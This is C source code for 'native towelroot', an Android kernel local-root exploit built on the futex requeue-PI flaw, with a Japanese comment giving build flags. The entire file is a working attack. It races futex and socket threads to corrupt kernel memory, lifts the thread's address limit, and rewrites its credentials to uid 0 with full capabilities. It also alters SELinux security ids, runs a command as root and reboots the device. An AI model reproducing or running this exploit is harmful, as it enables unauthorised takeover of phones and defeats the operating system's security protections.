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//Android.mk にて、「LOCAL_CFLAGS := -fno-stack-protector -mno-thumb -O0」を指定すること。 | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/socket.h> | |
#include <arpa/inet.h> | |
#include <pthread.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <linux/futex.h> | |
#include <sys/resource.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#define FUTEX_WAIT_REQUEUE_PI 11 | |
#define FUTEX_CMP_REQUEUE_PI 12 | |
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a))) | |
#define KERNEL_START 0xc0000000 | |
#define LOCAL_PORT 5551 | |
struct thread_info; | |
struct task_struct; | |
struct cred; | |
struct kernel_cap_struct; | |
struct task_security_struct; | |
struct list_head; | |
struct thread_info { | |
unsigned long flags; | |
int preempt_count; | |
unsigned long addr_limit; | |
struct task_struct *task; | |
/* ... */ | |
}; | |
struct kernel_cap_struct { | |
unsigned long cap[2]; | |
}; | |
struct cred { | |
unsigned long usage; | |
uid_t uid; | |
gid_t gid; | |
uid_t suid; | |
gid_t sgid; | |
uid_t euid; | |
gid_t egid; | |
uid_t fsuid; | |
gid_t fsgid; | |
unsigned long securebits; | |
struct kernel_cap_struct cap_inheritable; | |
struct kernel_cap_struct cap_permitted; | |
struct kernel_cap_struct cap_effective; | |
struct kernel_cap_struct cap_bset; | |
unsigned char jit_keyring; | |
void *thread_keyring; | |
void *request_key_auth; | |
void *tgcred; | |
struct task_security_struct *security; | |
/* ... */ | |
}; | |
struct list_head { | |
struct list_head *next; | |
struct list_head *prev; | |
}; | |
struct task_security_struct { | |
unsigned long osid; | |
unsigned long sid; | |
unsigned long exec_sid; | |
unsigned long create_sid; | |
unsigned long keycreate_sid; | |
unsigned long sockcreate_sid; | |
}; | |
struct task_struct_partial { | |
struct list_head cpu_timers[3]; | |
struct cred *real_cred; | |
struct cred *cred; | |
struct cred *replacement_session_keyring; | |
char comm[16]; | |
}; | |
struct mmsghdr { | |
struct msghdr msg_hdr; | |
unsigned int msg_len; | |
}; | |
struct phonefmt { | |
char *version; | |
unsigned long l1; | |
unsigned long l2; | |
unsigned long l3; | |
}; | |
struct phonefmt default_phone = {"", 0, 1, 0}; | |
struct phonefmt new_samsung = {"Linux version 3.4.0-", 1, 1, 0x00001cd4}; | |
struct phonefmt phones[1] = {"Linux version 3.4.0-722276", 1, 1, 0x00001cd4}; | |
struct phonefmt *ph = &default_phone; | |
//bss | |
int _swag = 0; | |
int _swag2 = 0; | |
struct thread_info *HACKS_final_stack_base = NULL; | |
pid_t waiter_thread_tid; | |
pthread_mutex_t done_lock; | |
pthread_cond_t done; | |
pthread_mutex_t is_thread_desched_lock; | |
pthread_cond_t is_thread_desched; | |
volatile int do_socket_tid_read = 0; | |
volatile int did_socket_tid_read = 0; | |
volatile int do_splice_tid_read = 0; | |
volatile int did_splice_tid_read = 0; | |
volatile int do_dm_tid_read = 0; | |
volatile int did_dm_tid_read = 0; | |
pthread_mutex_t is_thread_awake_lock; | |
pthread_cond_t is_thread_awake; | |
int HACKS_fdm = 0; | |
unsigned long MAGIC = 0; | |
unsigned long MAGIC_ALT = 0; | |
pthread_mutex_t *is_kernel_writing; | |
pid_t last_tid = 0; | |
void sub_bd38_check_kernel_version(void) | |
{ | |
char filebuf[0x1000]; | |
FILE *fp; | |
int i; | |
char *pdest; | |
int foundph; | |
int ret; | |
int kernel_num; | |
memset(filebuf, sizeof filebuf, 0); | |
fp = fopen("/proc/version", "rb"); | |
fread(filebuf, 1, sizeof(filebuf) - 1, fp); | |
fclose(fp); | |
printf("got kernel version %s\n", filebuf); | |
for (i = 0; i < ARRAY_SIZE(phones); i++) { | |
pdest = strstr(filebuf, phones[i].version); | |
if (pdest != 0) { | |
printf("found matching phone: %s\n", phones[i].version); | |
ph = &phones[i]; | |
foundph = 1; | |
return; | |
} | |
} | |
ret = memcmp(filebuf, new_samsung.version, strlen(new_samsung.version)); | |
if (ret == 0) { | |
pdest = filebuf + strlen(new_samsung.version); | |
kernel_num = atoi(pdest); | |
printf("got kernel number %d\n", kernel_num); | |
if (kernel_num > 951485) { | |
printf("using new samsung\n"); | |
ph = &new_samsung; | |
foundph = 1; | |
return; | |
} | |
} | |
printf("no matching phone found, trying default\n"); | |
foundph = 0; | |
return; | |
} | |
ssize_t sub_ba44_readmem(const void *src, void *dest, size_t count) | |
{ | |
int pipefd[2]; | |
ssize_t len; | |
pipe(pipefd); | |
len = write(pipefd[1], src, count); | |
if (len != count) { | |
printf("FAILED READ @ %p : %d %d\n", src, (int)len, errno); | |
while (1) { | |
sleep(10); | |
} | |
} | |
read(pipefd[0], dest, count); | |
close(pipefd[0]); | |
close(pipefd[1]); | |
return len; | |
} | |
ssize_t sub_b7d8_writemem(void *dest, const void *src, size_t count) | |
{ | |
int pipefd[2]; | |
ssize_t len; | |
pipe(pipefd); | |
write(pipefd[1], src, count); | |
len = read(pipefd[0], dest, count); | |
if (len != count) { | |
printf("FAILED WRITE @ %p : %d %d\n", dest, (int)len, errno); | |
while (1) { | |
sleep(10); | |
} | |
} | |
close(pipefd[0]); | |
close(pipefd[1]); | |
return len; | |
} | |
void sub_881c_get_root(int signum) | |
{ | |
struct thread_info stackbuf; | |
unsigned long taskbuf[0x100]; | |
struct cred *cred; | |
struct cred credbuf; | |
struct task_security_struct *security; | |
struct task_security_struct securitybuf; | |
pid_t pid; | |
int i; | |
int ret; | |
FILE *fp; | |
pthread_mutex_lock(&is_thread_awake_lock); | |
pthread_cond_signal(&is_thread_awake); | |
pthread_mutex_unlock(&is_thread_awake_lock); | |
if (HACKS_final_stack_base == NULL) { | |
static unsigned long new_addr_limit = 0xffffffff; | |
char *slavename; | |
int pipefd[2]; | |
char readbuf[0x100]; | |
printf("cpid1 resumed\n"); | |
pthread_mutex_lock(is_kernel_writing); | |
HACKS_fdm = open("/dev/ptmx", O_RDWR); | |
unlockpt(HACKS_fdm); | |
slavename = ptsname(HACKS_fdm); | |
open(slavename, O_RDWR); | |
if (ph->l3 != 0) { | |
pipe(pipefd); | |
do_splice_tid_read = 1; | |
while (1) { | |
if (did_splice_tid_read != 0) { | |
break; | |
} | |
} | |
syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0); | |
} | |
else { | |
do_splice_tid_read = 1; | |
while (1) { | |
if (did_splice_tid_read != 0) { | |
break; | |
} | |
} | |
read(HACKS_fdm, readbuf, sizeof readbuf); | |
} | |
sub_b7d8_writemem(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit); | |
pthread_mutex_unlock(is_kernel_writing); | |
while (1) { | |
sleep(10); | |
} | |
} | |
printf("cpid3 resumed\n"); | |
pthread_mutex_lock(is_kernel_writing); | |
printf("WOOT\n"); | |
sub_ba44_readmem(HACKS_final_stack_base, &stackbuf, sizeof stackbuf); | |
sub_ba44_readmem(stackbuf.task, taskbuf, sizeof taskbuf); | |
cred = NULL; | |
security = NULL; | |
pid = 0; | |
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { | |
struct task_struct_partial *task = (void *)&taskbuf[i]; | |
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START | |
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START | |
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START | |
&& task->real_cred == task->cred) { | |
cred = task->cred; | |
break; | |
} | |
} | |
sub_ba44_readmem(cred, &credbuf, sizeof credbuf); | |
security = credbuf.security; | |
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) { | |
sub_ba44_readmem(security, &securitybuf, sizeof securitybuf); | |
if (securitybuf.osid != 0 | |
&& securitybuf.sid != 0 | |
&& securitybuf.exec_sid == 0 | |
&& securitybuf.create_sid == 0 | |
&& securitybuf.keycreate_sid == 0 | |
&& securitybuf.sockcreate_sid == 0) { | |
securitybuf.osid = 1; | |
securitybuf.sid = 1; | |
printf("YOU ARE A SCARY PHONE\n"); | |
sub_b7d8_writemem(security, &securitybuf, sizeof securitybuf); | |
} | |
} | |
credbuf.uid = 0; | |
credbuf.gid = 0; | |
credbuf.suid = 0; | |
credbuf.sgid = 0; | |
credbuf.euid = 0; | |
credbuf.egid = 0; | |
credbuf.fsuid = 0; | |
credbuf.fsgid = 0; | |
credbuf.cap_inheritable.cap[0] = 0xffffffff; | |
credbuf.cap_inheritable.cap[1] = 0xffffffff; | |
credbuf.cap_permitted.cap[0] = 0xffffffff; | |
credbuf.cap_permitted.cap[1] = 0xffffffff; | |
credbuf.cap_effective.cap[0] = 0xffffffff; | |
credbuf.cap_effective.cap[1] = 0xffffffff; | |
credbuf.cap_bset.cap[0] = 0xffffffff; | |
credbuf.cap_bset.cap[1] = 0xffffffff; | |
sub_b7d8_writemem(cred, &credbuf, sizeof credbuf); | |
pid = syscall(__NR_gettid); | |
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { | |
static unsigned long write_value = 1; | |
if (taskbuf[i] == pid) { | |
sub_b7d8_writemem(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value); | |
if (getuid() != 0) { | |
printf("ROOT FAILED\n"); | |
while (1) { | |
sleep(10); | |
} | |
} | |
else { //rooted | |
break; | |
} | |
} | |
} | |
//rooted | |
ret = system("/system/bin/touch /data/local/tmp/foo"); | |
if (ret != 0) { | |
printf("COMMAND FAILED\n"); | |
while (1) { | |
sleep(10); | |
} | |
} | |
pid = fork(); | |
if (pid == 0) { //child | |
printf("rebooting in 15\n"); | |
sleep(15); | |
printf("rebooting\n"); | |
system("reboot"); | |
while (1) { | |
sleep(10); | |
} | |
} | |
pthread_mutex_lock(&done_lock); | |
pthread_cond_signal(&done); | |
pthread_mutex_unlock(&done_lock); | |
while (1) { | |
sleep(10); | |
} | |
return; | |
} | |
void *sub_8394(void *arg) | |
{ | |
int prio; | |
struct sigaction act; | |
int ret; | |
prio = (int)arg; | |
last_tid = syscall(__NR_gettid); | |
pthread_mutex_lock(&is_thread_desched_lock); | |
pthread_cond_signal(&is_thread_desched); | |
act.sa_handler = sub_881c_get_root; | |
act.sa_mask = 0; | |
act.sa_flags = 0; | |
act.sa_restorer = NULL; | |
sigaction(12, &act, NULL); | |
setpriority(PRIO_PROCESS, 0, prio); | |
pthread_mutex_unlock(&is_thread_desched_lock); | |
do_dm_tid_read = 1; | |
while (did_dm_tid_read == 0) { | |
; | |
} | |
ret = syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0); | |
printf("futex dm: %d\n", ret); | |
while (1) { | |
sleep(10); | |
} | |
return NULL; | |
} | |
pid_t sub_7690(int prio) | |
{ | |
pthread_t th4; | |
pid_t pid; | |
char filename[256]; | |
FILE *fp; | |
char filebuf[0x1000]; | |
char *pdest; | |
int vcscnt, vcscnt2; | |
do_dm_tid_read = 0; | |
did_dm_tid_read = 0; | |
pthread_mutex_lock(&is_thread_desched_lock); | |
pthread_create(&th4, 0, sub_8394, (void *)prio); | |
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock); | |
pid = last_tid; | |
sprintf(filename, "/proc/self/task/%d/status", pid); | |
fp = fopen(filename, "rb"); | |
if (fp == 0) { | |
vcscnt = -1; | |
} | |
else { | |
fread(filebuf, 1, sizeof filebuf, fp); | |
pdest = strstr(filebuf, "voluntary_ctxt_switches"); | |
pdest += 0x19; | |
vcscnt = atoi(pdest); | |
fclose(fp); | |
} | |
while (do_dm_tid_read == 0) { | |
usleep(10); | |
} | |
did_dm_tid_read = 1; | |
while (1) { | |
sprintf(filename, "/proc/self/task/%d/status", pid); | |
fp = fopen(filename, "rb"); | |
if (fp == 0) { | |
vcscnt2 = -1; | |
} | |
else { | |
fread(filebuf, 1, sizeof filebuf, fp); | |
pdest = strstr(filebuf, "voluntary_ctxt_switches"); | |
pdest += 0x19; | |
vcscnt2 = atoi(pdest); | |
fclose(fp); | |
} | |
if (vcscnt2 == vcscnt + 1) { | |
break; | |
} | |
usleep(10); | |
} | |
pthread_mutex_unlock(&is_thread_desched_lock); | |
return pid; | |
} | |
int sub_7390(void) | |
{ | |
int sockfd; | |
struct sockaddr_in addr = {0}; | |
int ret; | |
int sock_buf_size; | |
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); | |
if (sockfd < 0) { | |
printf("socket failed\n"); | |
usleep(10); | |
} | |
else { | |
addr.sin_family = AF_INET; | |
addr.sin_port = htons(LOCAL_PORT); | |
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
} | |
while (1) { | |
ret = connect(sockfd, (struct sockaddr *)&addr, 16); | |
if (ret >= 0) { | |
break; | |
} | |
usleep(10); | |
} | |
sock_buf_size = 1; | |
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); | |
return sockfd; | |
} | |
void *sub_5960(void *arg) | |
{ | |
int sockfd; | |
struct mmsghdr msgvec[1]; | |
struct iovec msg_iov[8]; | |
unsigned long databuf[0x20]; | |
int i; | |
int ret; | |
waiter_thread_tid = syscall(__NR_gettid); | |
setpriority(PRIO_PROCESS, 0, 12); | |
sockfd = sub_7390(); | |
for (i = 0; i < ARRAY_SIZE(databuf); i++) { | |
databuf[i] = MAGIC; | |
} | |
if (ph->l2 == 0) { | |
for (i = 0; i < 8; i++) { | |
msg_iov[i].iov_base = (void *)MAGIC; | |
msg_iov[i].iov_len = MAGIC_ALT; | |
} | |
} | |
else { | |
for (i = 0; i < 8; i++) { | |
msg_iov[i].iov_base = (void *)MAGIC; | |
msg_iov[i].iov_len = 0x10; | |
} | |
} | |
msgvec[0].msg_hdr.msg_name = databuf; | |
msgvec[0].msg_hdr.msg_namelen = sizeof databuf; | |
msgvec[0].msg_hdr.msg_iov = msg_iov; | |
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov); | |
msgvec[0].msg_hdr.msg_control = databuf; | |
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf); | |
msgvec[0].msg_hdr.msg_flags = 0; | |
msgvec[0].msg_len = 0; | |
syscall(__NR_futex, &_swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &_swag2, 0); | |
do_socket_tid_read = 1; | |
while (1) { | |
if (did_socket_tid_read != 0) { | |
break; | |
} | |
} | |
ret = 0; | |
switch (ph->l1) { | |
case 0: | |
while (1) { | |
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); | |
if (ret <= 0) { | |
break; | |
} | |
} | |
break; | |
case 1: | |
ret = syscall(__NR_recvmmsg, sockfd, msgvec, 1, 0, NULL); | |
break; | |
case 2: | |
while (1) { | |
ret = sendmsg(sockfd, &(msgvec[0].msg_hdr), 0); | |
if (ret <= 0) { | |
break; | |
} | |
} | |
break; | |
case 3: | |
ret = recvmsg(sockfd, &(msgvec[0].msg_hdr), 0); | |
break; | |
} | |
if (ret < 0) { | |
perror("SOCKSHIT"); | |
} | |
printf("EXIT WTF\n"); | |
while (1) { | |
sleep(10); | |
} | |
return NULL; | |
} | |
static inline setup_exploit(unsigned long mem) | |
{ | |
*((unsigned long *)(mem - 0x04)) = 0x81; | |
*((unsigned long *)(mem + 0x00)) = mem + 0x20; | |
*((unsigned long *)(mem + 0x08)) = mem + 0x28; | |
*((unsigned long *)(mem + 0x1c)) = 0x85; | |
*((unsigned long *)(mem + 0x24)) = mem; | |
*((unsigned long *)(mem + 0x2c)) = mem + 8; | |
} | |
void *sub_1b08(void *arg) | |
{ | |
int ret; | |
char filename[256]; | |
FILE *fp; | |
char filebuf[0x1000]; | |
char *pdest; | |
int vcscnt, vcscnt2; | |
unsigned long magicval; | |
pid_t pid; | |
unsigned long goodval, goodval2; | |
unsigned long addr, setaddr; | |
int i; | |
char buf[0x1000]; | |
syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0); | |
while (1) { | |
ret = syscall(__NR_futex, &_swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag); | |
if (ret == 1) { | |
break; | |
} | |
usleep(10); | |
} | |
sub_7690(6); | |
sub_7690(7); | |
_swag2 = 0; | |
do_socket_tid_read = 0; | |
did_socket_tid_read = 0; | |
syscall(__NR_futex, &_swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag2); | |
while (1) { | |
if (do_socket_tid_read != 0) { | |
break; | |
} | |
} | |
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); | |
fp = fopen(filename, "rb"); | |
if (fp == 0) { | |
vcscnt = -1; | |
} | |
else { | |
fread(filebuf, 1, sizeof filebuf, fp); | |
pdest = strstr(filebuf, "voluntary_ctxt_switches"); | |
pdest += 0x19; | |
vcscnt = atoi(pdest); | |
fclose(fp); | |
} | |
did_socket_tid_read = 1; | |
while (1) { | |
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); | |
fp = fopen(filename, "rb"); | |
if (fp == 0) { | |
vcscnt2 = -1; | |
} | |
else { | |
fread(filebuf, 1, sizeof filebuf, fp); | |
pdest = strstr(filebuf, "voluntary_ctxt_switches"); | |
pdest += 0x19; | |
vcscnt2 = atoi(pdest); | |
fclose(fp); | |
} | |
if (vcscnt2 == vcscnt + 1) { | |
break; | |
} | |
usleep(10); | |
} | |
printf("starting the dangerous things\n"); | |
setup_exploit(MAGIC_ALT); | |
setup_exploit(MAGIC); | |
magicval = *((unsigned long *)MAGIC); | |
sub_7690(11); | |
if (*((unsigned long *)MAGIC) == magicval) { | |
printf("using MAGIC_ALT\n"); | |
MAGIC = MAGIC_ALT; | |
} | |
while (1) { | |
is_kernel_writing = (pthread_mutex_t *)malloc(4); | |
pthread_mutex_init(is_kernel_writing, NULL); | |
setup_exploit(MAGIC); | |
pid = sub_7690(11); | |
goodval = *((unsigned long *)MAGIC) & 0xffffe000; | |
printf("%p is a good number\n", (void *)goodval); | |
do_splice_tid_read = 0; | |
did_splice_tid_read = 0; | |
pthread_mutex_lock(&is_thread_awake_lock); | |
kill(pid, 12); | |
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); | |
pthread_mutex_unlock(&is_thread_awake_lock); | |
while (1) { | |
if (do_splice_tid_read != 0) { | |
break; | |
} | |
usleep(10); | |
} | |
sprintf(filename, "/proc/self/task/%d/status", pid); | |
fp = fopen(filename, "rb"); | |
if (fp == 0) { | |
vcscnt = -1; | |
} | |
else { | |
fread(filebuf, 1, sizeof filebuf, fp); | |
pdest = strstr(filebuf, "voluntary_ctxt_switches"); | |
pdest += 0x19; | |
vcscnt = atoi(pdest); | |
fclose(fp); | |
} | |
did_splice_tid_read = 1; | |
while (1) { | |
sprintf(filename, "/proc/self/task/%d/status", pid); | |
fp = fopen(filename, "rb"); | |
if (fp == 0) { | |
vcscnt2 = -1; | |
} | |
else { | |
fread(filebuf, 1, sizeof filebuf, fp); | |
pdest = strstr(filebuf, "voluntary_ctxt_switches"); | |
pdest += 19; | |
vcscnt2 = atoi(pdest); | |
fclose(fp); | |
} | |
if (vcscnt2 != vcscnt + 1) { | |
break; | |
} | |
usleep(10); | |
} | |
goodval2 = 0; | |
if (ph->l3 != 0) { | |
addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); | |
if (addr != 0xbef000) { | |
continue; | |
} | |
setup_exploit(0xbeffe0); | |
*((unsigned long *)0xbf0004) = 0xbef000 + ph->l3 + 1; | |
*((unsigned long *)MAGIC) = 0xbf0000; | |
sub_7690(10); | |
goodval2 = *((unsigned long *)0x00bf0004); | |
munmap((unsigned long *)0xbef000, 0x2000); | |
goodval2 <<= 8; | |
if (goodval2 < KERNEL_START) { | |
setaddr = (goodval2 - 0x1000) & 0xfffff000; | |
addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); | |
if (addr != setaddr) { | |
continue; | |
} | |
setup_exploit(goodval2 - 0x20); | |
*((unsigned long *)(goodval2 + 4)) = goodval + ph->l3; | |
*((unsigned long *)MAGIC) = goodval2; | |
sub_7690(10); | |
goodval2 = *((unsigned long *)(goodval2 + 4)); | |
munmap((unsigned long *)setaddr, 0x2000); | |
} | |
} | |
else { | |
setup_exploit(MAGIC); | |
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8; | |
sub_7690(12); | |
goodval2 = *((unsigned long *)(MAGIC + 0x24)); | |
} | |
printf("%p is also a good number\n", (void *)goodval2); | |
for (i = 0; i < 9; i++) { | |
setup_exploit(MAGIC); | |
pid = sub_7690(10); | |
if (*((unsigned long *)MAGIC) < goodval2) { | |
HACKS_final_stack_base = (void *)(*((unsigned long *)MAGIC) & 0xffffe000); | |
pthread_mutex_lock(&is_thread_awake_lock); | |
kill(pid, 12); | |
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); | |
pthread_mutex_unlock(&is_thread_awake_lock); | |
printf("GOING\n"); | |
write(HACKS_fdm, buf, sizeof buf); | |
while (1) { | |
sleep(10); | |
} | |
} | |
} | |
} | |
return NULL; | |
} | |
void *sub_189c(void *arg) | |
{ | |
int sockfd; | |
int yes; | |
struct sockaddr_in addr = {0}; | |
int ret; | |
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); | |
yes = 1; | |
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); | |
addr.sin_family = AF_INET; | |
addr.sin_port = htons(LOCAL_PORT); | |
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); | |
listen(sockfd, 1); | |
while(1) { | |
ret = accept(sockfd, NULL, NULL); | |
if (ret < 0) { | |
printf("**** SOCK_PROC FAILED ****\n"); | |
while(1) { | |
sleep(10); | |
} | |
} | |
else { | |
printf("i have a client like hookers\n"); | |
} | |
} | |
return NULL; | |
} | |
void sub_12c0_main(void) | |
{ | |
unsigned long addr; | |
pthread_t th1, th2, th3; | |
printf("************************\n"); | |
printf("native towelroot running with pid %d\n", getpid()); | |
sub_bd38_check_kernel_version(); | |
pthread_create(&th1, NULL, sub_189c, NULL); | |
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); | |
addr += 0x800; | |
MAGIC = addr; | |
if ((long)addr >= 0) { | |
printf("first mmap failed?\n"); | |
while (1) { | |
sleep(10); | |
} | |
} | |
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); | |
addr += 0x800; | |
MAGIC_ALT = addr; | |
if (addr > 0x110000) { | |
printf("second mmap failed?\n"); | |
while (1) { | |
sleep(10); | |
} | |
} | |
pthread_mutex_lock(&done_lock); | |
pthread_create(&th2, NULL, sub_1b08, NULL); | |
pthread_create(&th3, NULL, sub_5960, NULL); | |
pthread_cond_wait(&done, &done_lock); | |
} | |
int main(void) | |
{ | |
sub_12c0_main(); | |
printf("Thank you for using towelroot!\n"); | |
sleep(30); | |
return 0; | |
} |
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